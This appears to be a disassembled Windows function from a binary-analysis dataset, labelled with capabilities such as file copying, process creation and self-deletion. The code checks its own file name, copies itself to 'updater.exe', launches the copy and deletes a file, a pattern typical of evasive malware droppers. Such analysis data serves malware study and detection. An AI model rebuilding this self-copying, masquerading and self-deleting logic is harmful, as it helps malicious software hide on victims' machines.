Function at 0x402ab4
Capabilities:
Copy file
Create process on windows
Delete file
Initialize winsock library
Self delete

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x9dc
lea eax, [ebp - 0x9a8]
mov dword [esp + 4], eax
lea esi, [ebp - 0x9bc]
mov dword [esp], 0x102
call sub.WS2_32.dll_WSAStartup
push ebx
push ebx
lea ebx, [ebp - 0x818]
mov dword [esp + 8], 0x800
mov dword [esp + 4], ebx
mov dword [esp], 0
call sub.KERNEL32.dll_GetModuleFileNameW
sub esp, 0xc
test eax, eax
je 0x402b0e
mov edx, ebx
mov eax, esi
call fcn.0040138d
jmp 0x402b1d
mov ecx, esi
mov dword [esp], 0x413323
call method.string.string_char_const_
push ecx
mov eax, dword [ebp - 0x9bc]
mov ecx, ebx
mov dword [esp + 8], 0xffffffff
mov eax, dword [eax]
mov dword [esp], esi
sub eax, 9
mov dword [esp + 4], eax
call method.string.substr_unsigned_int__unsigned_int__const
mov ecx, ebx
sub esp, 0xc
mov dword [esp], str.dude.exe
call method.string.compare_char_const__const
mov ecx, ebx
mov edi, eax
push edx
call method.string.freeptr__
test edi, edi
mov eax, ebx
jne 0x402d45
lea edi, [ebp - 0x9b8]
call fcn.004014e4
mov edx, ebx
mov eax, edi
mov ecx, str.updater.exe
call fcn.00401362
mov ecx, ebx
call method.string.freeptr__
mov ecx, ebx
mov dword [esp], edi
call fcn.0040167a
lea ecx, [ebp - 0x9b0]
push eax
mov eax, dword [ebp - 0x818]
mov dword [esp], esi
mov dword [ebp - 0x9cc], eax
call fcn.0040167a
push eax
mov eax, dword [ebp - 0x9cc]
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x9b0]
mov dword [esp], eax
call sub.KERNEL32.dll_CopyFileW
lea ecx, [ebp - 0x9b0]
sub esp, 0xc
mov dword [ebp - 0x9cc], eax
call fcn.00401742
mov ecx, ebx
call fcn.00401742
mov eax, dword [ebp - 0x9cc]
test eax, eax
jne 0x402c63
call sub.KERNEL32.dll_GetLastError
mov edx, eax
mov eax, ebx
call fcn.004015c5
mov dword [esp + 4], str.copy_file:
mov dword [esp], sym.updater.exe_cout
call sym.updater.exe_operator___ostream__char_const_
mov dword [esp + 4], esi
mov dword [esp], eax
call sym.updater.exe_operator___ostream__string_const_
mov dword [esp + 4], 0x413346
mov dword [esp], eax
call sym.updater.exe_operator___ostream__char_const_
mov dword [esp + 4], edi
mov dword [esp], eax
call sym.updater.exe_operator___ostream__string_const_
mov dword [esp + 4], 0x413349
mov dword [esp], eax
call sym.updater.exe_operator___ostream__char_const_
mov dword [esp + 4], ebx
mov dword [esp], eax
call sym.updater.exe_operator___ostream__string_const_
mov dword [esp], eax
call sym.updater.exe_endl_ostream_
mov ecx, ebx
call method.string.freeptr__
lea esi, [ebp - 0x9b4]
mov eax, esi
call fcn.004014e4
mov ecx, ebx
mov dword [esp], esi
lea edi, [ebp - 0x9b8]
call fcn.0040167a
mov eax, dword [ebp - 0x818]
mov dword [ebp - 0x9cc], eax
push ecx
lea ecx, [ebp - 0x9b0]
mov dword [esp], edi
call fcn.0040167a
push eax
mov eax, dword [ebp - 0x9cc]
mov dword [esp + 0x14], 1
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x9b0]
mov dword [esp + 4], str.open
mov dword [esp], 0
mov dword [esp + 8], eax
call sub.SHELL32.DLL_ShellExecuteW
lea ecx, [ebp - 0x9b0]
sub esp, 0x18
mov dword [ebp - 0x9cc], eax
call fcn.00401742
mov ecx, ebx
call fcn.00401742
mov ecx, esi
call method.string.freeptr__
mov eax, dword [ebp - 0x9cc]
cmp eax, 0x1f
jg 0x402d3e
call sub.KERNEL32.dll_GetLastError
mov edx, eax
mov eax, ebx
call fcn.004015c5
mov dword [esp + 4], str.ShellExecute:
mov dword [esp], sym.updater.exe_cout
call sym.updater.exe_operator___ostream__char_const_
mov dword [esp + 4], ebx
mov dword [esp], eax
call sym.updater.exe_operator___ostream__string_const_
mov dword [esp], eax
call sym.updater.exe_endl_ostream_
mov ecx, ebx
call method.string.freeptr__
mov ecx, edi
jmp 0x402e1c
lea esi, [ebp - 0x9b0]
call fcn.004014e4
mov ecx, 0x4132e9
mov edx, ebx
mov eax, esi
call fcn.00401362
mov ecx, ebx
call method.string.freeptr__
mov eax, esi
call fcn.00401758
test al, al
je 0x402e15
mov eax, esi
call fcn.00401758
test al, al
je 0x402e03
mov ecx, ebx
mov dword [esp], esi
call fcn.0040167a
push eax
mov eax, dword [ebp - 0x818]
mov dword [esp], eax
call sub.KERNEL32.dll_DeleteFileW
mov ecx, ebx
mov edi, eax
push edx
call fcn.00401742
test edi, edi
jne 0x402e03
call sub.KERNEL32.dll_GetLastError
mov edx, eax
mov eax, ebx
call fcn.004015c5
mov dword [esp + 4], str.delete_file
mov dword [esp], sym.updater.exe_cout
call sym.updater.exe_operator___ostream__char_const_
mov dword [esp + 4], esi
mov dword [esp], eax
call sym.updater.exe_operator___ostream__string_const_
mov dword [esp + 4], 0x413349
mov dword [esp], eax
call sym.updater.exe_operator___ostream__char_const_
mov dword [esp + 4], ebx
mov dword [esp], eax
call sym.updater.exe_operator___ostream__string_const_
mov dword [esp], eax
call sym.updater.exe_endl_ostream_
mov ecx, ebx
call method.string.freeptr__
mov dword [esp], 0xa
call sub.KERNEL32.dll_Sleep
push edi
jmp 0x402d65
call fcn.004022c8
mov ecx, esi
call method.string.freeptr__
lea ecx, [ebp - 0x9bc]
call method.string.freeptr__
lea esp, [ebp - 0xc]
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret 0x10